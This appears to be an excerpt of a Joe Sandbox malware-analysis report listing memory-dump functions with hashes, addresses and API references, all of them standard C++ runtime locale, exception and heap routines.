Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesnumpunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 448217422-0
Opcode ID: 3c1d6b78a54c44f3109820ffb5f30ff00c321022ebf7eabf3ec7dc4569d6136e
Instruction ID: c8a63dcb2b1b2c7d461bb13dcd6f7c0968abdda3bc27c48c36824d4bad130ac6
Opcode Fuzzy Hash: 3c1d6b78a54c44f3109820ffb5f30ff00c321022ebf7eabf3ec7dc4569d6136e
Instruction Fuzzy Hash: BD316962A08AC3C1EE119F1DE8401B96761FB84BE0F580632DB5E077E9EF2CE5479740

Function 00007FF8B9110384 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B911044D
std::_Facet_Register.LIBCPMT ref: 00007FF8B9110465
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B91104A0
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B91104B1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: 969cec1644bb856d1eac6f1a35742c42c096f944a53fd65e4cc6a2f1d40e8599
Instruction ID: e61b826b5bee5445763484798ab2b0399838ad11f0d7a897748eb96bf61151d1
Opcode Fuzzy Hash: 969cec1644bb856d1eac6f1a35742c42c096f944a53fd65e4cc6a2f1d40e8599
Instruction Fuzzy Hash: BF317222E0CAD691EA119F2DE4410BA6764FB84BE0F584632DB5D077E5EF3CE546E700

Function 00007FF8B90FCBD4 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FCC9D
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FCCB5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FCCF0
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FCD01

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 0625cce8056e1fbeafd34c4cc32d65403063833f55f3c25b616fc9f327735a8f
Instruction ID: ce489180b7ac4c55fa4c4b9d625eecfbd7a9462821a95dfb1b34a9987685759f
Opcode Fuzzy Hash: 0625cce8056e1fbeafd34c4cc32d65403063833f55f3c25b616fc9f327735a8f
Instruction Fuzzy Hash: AB317E62A0CA92C1EE10DF2DE4511B96760FB84BE0F680631DB6E077E5DE3CE5479740

Function 00007FF8B90FD6A8 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FD771
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD789
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD7C4
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD7D5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 00f7dcfa46a85e9306d845bcb843d4a6e56abbb54567e8f720a27f441f54e1c1
Instruction ID: 103da4e33bf567bc93797813b0b4ba1f8328395bf1c7d07443d7dabeeea58e3d
Opcode Fuzzy Hash: 00f7dcfa46a85e9306d845bcb843d4a6e56abbb54567e8f720a27f441f54e1c1
Instruction Fuzzy Hash: BC314E62A08BC2C1EE159F2DE4401B96761FB94BE4F580632DB5E077E9EF2CE5469700

Function 00007FF8B90FCD08 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FCDD1
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FCDE9
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FCE24
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FCE35

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: e86ab5f9cdefc02573e43571f9a92ddb28c7e6d3480c0a0ddba73d764e6f00cc
Instruction ID: 86dc005c78f3aa5d76ec5a29439e731709ad13fc8da569387a207e454b05895c
Opcode Fuzzy Hash: e86ab5f9cdefc02573e43571f9a92ddb28c7e6d3480c0a0ddba73d764e6f00cc
Instruction Fuzzy Hash: 4A317C62A0CA92C1EE109F2DE4411BD6B61EB84BE0F580632DB5E07BE5DF3CE546D740

Function 00007FF8B90FD574 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B90FD63D
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD655
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD690
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD6A1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: 6165060885fdf55755c7bfe429cfe0ecb5ffa73f15c25983cf5194c565986d20
Instruction ID: c56ec01287bbd5ae1d3239085a083e4156f1c019b5d2474e9745e7275c490c11
Opcode Fuzzy Hash: 6165060885fdf55755c7bfe429cfe0ecb5ffa73f15c25983cf5194c565986d20
Instruction Fuzzy Hash: 2E315A62A0CAC6C1EE119F1DE4401B967A0FB84BE4F580632EB5E477E9DF2CE5479710

Function 00007FF8B90FD0A4 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FD16D
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD185
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD1C0
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD1D1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: a7b608efc1aee6970888407e30e28b4b43bd13f8e6f74a85ee7bf5bf6733577e
Instruction ID: 90baafe6fb8c02b44982a9b79e52480400111e213e554397760659914da6f92f
Opcode Fuzzy Hash: a7b608efc1aee6970888407e30e28b4b43bd13f8e6f74a85ee7bf5bf6733577e
Instruction Fuzzy Hash: 6B315B62A0CAC291EE119F1DE8402B96764FB94BE0F580632EB5E077E5DF3CE5479710

Function 00007FF8B90FCF70 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FD039
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD051
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD08C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD09D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 507ce1a5e7d73154d3749011fcb4afab418e422a1bb32dfaea8c72d98d932c39
Instruction ID: c07f02814effb2deabf8eb31cc7d213c75c1df825d6a2734fab35facc4f35ac9
Opcode Fuzzy Hash: 507ce1a5e7d73154d3749011fcb4afab418e422a1bb32dfaea8c72d98d932c39
Instruction Fuzzy Hash: 29313962A08AC6C1EE119F2DE8402B96760FB94BE0F584632EB5E077E5DF2CE547D710

Function 00007FF8B90F276C Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90F2835
std::_Facet_Register.LIBCPMT ref: 00007FF8B90F284D
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90F2888
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90F2899

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 3d07e47c0918bafadbea5d9194d2d850deff4b8fb05363baba3a438e069e2b82
Instruction ID: 4ae6cebec4a035d0ce9770be12e2995f733c58d3eeb6553c8547ffa0a54b69cf
Opcode Fuzzy Hash: 3d07e47c0918bafadbea5d9194d2d850deff4b8fb05363baba3a438e069e2b82
Instruction Fuzzy Hash: 00314A66A0DAC2C1EE119F6DE8401B96760FB84BE0F584232EB5D077E5DE2CE5879700

Function 00007FF8B910FFE8 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B91100B1
std::_Facet_Register.LIBCPMT ref: 00007FF8B91100C9
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9110104
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9110115

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 0d78e737d81f217a5e139d1ad9bd1c52e5eafd2eeb45db34d52a84de9a5e6e57
Instruction ID: 2348804bb77764c50e8fdc1ae1af2e95e9e46fd1326bb44086566bc576eb0e11
Opcode Fuzzy Hash: 0d78e737d81f217a5e139d1ad9bd1c52e5eafd2eeb45db34d52a84de9a5e6e57
Instruction Fuzzy Hash: DD318122E0CAD291EA109F2DE8410BA6765FB85BE0F584632DB5D077F5EF3CE546A700

Function 00007FF8B90FD7DC Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FD8A5
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD8BD
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD8F8
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD909

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: 1c6ec3c157523f750c870b3272d3ff34d44e14e99ad9b27563f0911ed95044f1
Instruction ID: 6052d4a251719145285e3d2b6ec06eba7d9bfc941e8c2c372a56df3f9565a7dc
Opcode Fuzzy Hash: 1c6ec3c157523f750c870b3272d3ff34d44e14e99ad9b27563f0911ed95044f1
Instruction Fuzzy Hash: 41315A62A08AC2D1EE119F2DE4402B96761FB84BE0F580632DB5E077E9EF3CE5479710

Function 00007FF8B90FCE3C Relevance: 6.1, APIs: 4, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _lock_locales
String ID:
API String ID: 3756862740-0
Opcode ID: e468151b5c2f458411b05d44ceda21bf334e284b4bb9150f2ddfd9151ffbaf81
Instruction ID: 45e6fd083ffa67a9787d3951cc25fd006bf11f3cd087ac96d34c9902dcfdbabe
Opcode Fuzzy Hash: e468151b5c2f458411b05d44ceda21bf334e284b4bb9150f2ddfd9151ffbaf81
Instruction Fuzzy Hash: 9C315A62A08AD2D1EE10DF2DE4411B96760FB84BE0F584632EB5E477E5DF3CE6469700

Function 00007FF8B90F2638 Relevance: 6.1, APIs: 4, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _lock_locales
String ID:
API String ID: 3756862740-0
Opcode ID: 374a708f4c027f64f3bbde7d98aa8f2f3ec5882c15b9587f9c8a1f9dbcedd78d
Instruction ID: 9d69bb7ef047134b8857cefcbf49ab43607dc2720789adca7ed32db4a189c7ec
Opcode Fuzzy Hash: 374a708f4c027f64f3bbde7d98aa8f2f3ec5882c15b9587f9c8a1f9dbcedd78d
Instruction Fuzzy Hash: DA314D22A0DAC2C1EF119F1DE4501B96765FB94BE0F584232EB5D077E9EE3CE5869700

Function 00007FF8B90E7380 Relevance: 6.1, APIs: 4, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E73C7
memcpy.VCRUNTIME140 ref: 00007FF8B90E73EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E73F8

Part of subcall function 00007FF8B90E99D0: wcsnlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00007FF8B90E71EE), ref: 00007FF8B90E99FA

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E746B

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ___lc_locale_name_funcfreemallocmemcpywcsnlen
String ID:
API String ID: 3567269174-0
Opcode ID: f30811991d692bedc0c7a1c88b05bcfd0119dbfede1abc1abae9bd436faa4321
Instruction ID: 10a81f1c6100b17a05ec717aca37c669aae098dbbeffd30fbe75e90fa9915ecd
Opcode Fuzzy Hash: f30811991d692bedc0c7a1c88b05bcfd0119dbfede1abc1abae9bd436faa4321
Instruction Fuzzy Hash: E8219161B08BD282EA619F1EA40042AAAA4FF49FE4F544631DFBD17BA4DF3CD5429344

Function 00007FF8B90F7FD0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00007FF8B90F7FF6

Part of subcall function 00007FF8B90F8360: std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00007FF8B90F8392
Part of subcall function 00007FF8B90F8360: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF8B90F839D

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

std::locale::_Setgloballocale.LIBCPMT ref: 00007FF8B90F8059
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F8088
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F80AE

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
